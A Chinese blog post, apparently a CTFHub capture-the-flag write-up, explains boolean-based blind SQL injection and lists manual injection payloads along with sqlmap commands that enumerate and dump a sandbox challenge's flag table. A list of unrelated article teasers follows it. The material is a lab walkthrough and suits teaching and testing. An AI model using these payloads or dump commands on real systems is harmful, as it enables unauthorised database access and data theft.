CTFHUB-SQL注入-布尔盲注

server/2024/9/24 11:23:01/

目录

理论简述

布尔盲注概述

布尔盲注的原理及利用

原理

利用步骤

常见函数及其作用

实战示例

sqlmap工具夺flag

查看数据库

查看数据库中的表名

查看表中字段名

查看表中数据


理论简述

布尔盲注概述

布尔盲注是一种在SQL注入中使用的技巧,主要用于在没有明显错误信息返回的情况下,通过构造特殊的SQL语句来推测数据库信息。由于某些安全措施的存在,使得传统的SQL注入手法无法获得直接的错误信息,此时就需要使用布尔盲注来间接获取信息。这种方法主要依赖于SQL语句的布尔运算结果,通过观察页面的响应来判断所构建的SQL语句是否执行成功,从而逐步揭示数据库的结构信息。

布尔盲注的原理及利用

原理

布尔盲注的核心原理在于利用SQL语句的布尔判断,通过AND或OR连接条件,并根据页面的响应来判断条件是否成立。当条件为真时,页面通常会正常显示;而为假时,页面可能不显示任何内容或者返回错误信息。通过这种方式,攻击者可以逐步构建并验证一系列的条件语句,逐渐获取数据库的相关信息。

利用步骤
  1. 判断注入点:首先确定输入点是否存在注入,通常通过在URL中加入单引号来测试。
  2. 判断数据库名长度:使用函数结合二分法来猜测数据库名的长度。length()
  3. 猜测数据库:使用函数和函数组合,逐个猜测数据库名的各个字符。ascii()、substr()
  4. 猜测表的数量:通过函数来估计数据库中表的数量。count()
  5. 猜测表名和字段名:类似数据库名的猜测过程,使用相应的函数逐步缩小范围。
  6. 获取数据:最终,通过构建能够返回数据的SQL语句来获取实际的数据信息。

常见函数及其作用

  • LENGTH():返回字符串的长度。
  • ASCII():返回字符的ASCII码值。
  • SUBSTRING()/SUBSTR():截取字符串。
  • INFORMATION_SCHEMA.TABLES和:用于获取表和列的信息。COLUMNS
  • IF():根据条件返回不同的值。
  • LIKE和:用于模糊匹配模式。REGEXP

实战示例

假设有一个SQL注入点,我们可以通过以下步骤来获取数据库名:

  1. 判断注入点是否存在: ?id=1' and 1=1
  2. 猜测数据库名长度: ?id=1' and length(database())>1
  3. 逐个猜测字符: ?id=1' and ascii(substr(database(),1,1))>97
  4. 重复上述步骤,直到确定每个字符的ASCII码。

通过这种方式,我们可以逐步构建出完整的数据库名,例如:sqli

sqlmap工具夺flag

可以使用 sqlmap 工具爆破,也可以手动注入,手动注入比较费时,效率低,在这里我们使用工具找我们的flag(没有sqlmap工具点击🚀🚀🚀直达下载安装使用教程)

查看数据库

python sqlmap.py -u "http://challenge-561e0e1cb4c75169.sandbox.ctfhub.com:10800/?id=1" --current-db

查看数据库中的表名

python sqlmap.py -u "http://challenge-561e0e1cb4c75169.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables

查看表中字段名

python sqlmap.py -u "http://challenge-561e0e1cb4c75169.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --columns

查看表中数据

python sqlmap.py -u "http://challenge-561e0e1cb4c75169.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag -C flag --dump --batch


http://www.ppmy.cn/server/48405.html

相关文章

STM32 USB基础:硬件接口与软件配置

摘要: STM32微控制器的USB功能为嵌入式系统提供了灵活的数据传输能力。本文将介绍STM32 USB的硬件接口和软件配置,帮助开发者快速掌握STM32 USB的基本使用方法。 1. 引言 USB(通用串行总线)作为一种广泛使用的接口技术&#xff0…

Plotly : 超好用的Python可视化工具

文章目录 安装:开始你的 Plotly 之旅基本折线图:简单却强大的起点带颜色的散点图:数据的多彩世界三维曲面图:探索数据的深度气泡图:让世界看到你的数据小提琴图:数据分布的优雅展现旭日图:分层数…

Ubuntu,Linux服务器安装Mellanox MCX653105A IB网卡HCA卡驱动

驱动下载地址 https://network.nvidia.com/products/infiniband-drivers/linux/mlnx_ofed/ 选择对应操作系统 进入目录运行 安装成功显示 如果中途报错,需要核对下载的版本,并且把原来安装的卸载

三端植物大战僵尸杂交版来了

Hi,好久不见,最近植物大战僵尸杂交版蛮火的 那今天苏音整理给大家三端的植物大战僵尸杂交版包括【苹果端、电脑端、安卓端】 想要下载的直接划到最下方即可下载。 植物大战僵尸,作为一款古老的单机游戏,近期随着B站一位UP主潜艇…

掉电安全文件系统littlefs移植

前言 通过查看oneOS中对littlefs的移植工作,发现,littlefs源码本身,有用的就4个: lfs.clfs.hlfs_util.clfs_util.h 剩下的就是适配层: dfs_lfs.clfs_config.h(和lfs_util.h差不多)lfs_crc.c(和lfs_util.c差不多) …

爬取京东商品图片的Python实现方法

引言 在数据驱动的商业环境中,网络爬虫技术已成为获取信息的重要手段。京东作为中国领先的电商平台,拥有海量的商品信息和图片资源。本文将详细介绍如何使用Python编写爬虫程序,爬取京东商品的图片,并提供完整的代码实现过程。 …

一些简单却精妙的算法

文章目录 1.树状数组2.红黑树3.星星打分4.欧几里得算法5.快速幂6.并查集 在编程的世界里,简洁的代码往往隐藏着深邃的智慧。一起来看看那些看似简单,实则精妙绝伦的代码片段,体会编程语言的优雅与力量。 1.树状数组 int lowbit(int x) { …

Codeforces Round 952 (Div. 4)(A~E题解)

这次比较遗憾的就是第五个,本来直接计算就过了,结果存到一个数组里面一直都在超时,导致这次第五题都没做出来,确实小丑了 话不多说直接看题 A. Creating Words 题解:这题就直接交换一下就OK,没有别的事。…